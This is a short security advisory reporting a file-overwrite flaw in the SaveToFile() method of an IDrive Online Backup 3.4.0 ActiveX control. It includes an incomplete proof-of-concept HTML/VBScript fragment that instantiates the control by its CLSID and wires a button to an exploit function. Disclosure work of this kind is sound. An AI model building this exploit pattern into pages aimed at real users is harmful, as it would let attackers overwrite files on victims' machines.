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IDrive Online Backup ActiveX control Insecure Method
Vulnerability ID: HTB23025
Product: IDrive Online Backup
Vendor: Pro Softnet Corporation ( http://www.idrive.com )
Vulnerable Version: 3.4.0 and probably prior
Tested on: 3.4.0
Vendor Notification: 15 June 2011
Vulnerability Type: ActiveX Control Insecure Method
Status: Fixed by Vendor
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in IDrive Online Backup ActiveX control, which can be exploited to overwrite arbitrary files.
The vulnerability is caused due to the UniBasicPack.UniTextBox (UniBasic100_EDA1811C.ocx) ActiveX control including the insecure "SaveToFile()" method.
This can be exploited to rewrite arbitrary files in the context of the currently logged-on user.
The following PoC code is available:
<object classid='clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Solution: Upgrade to the most recent version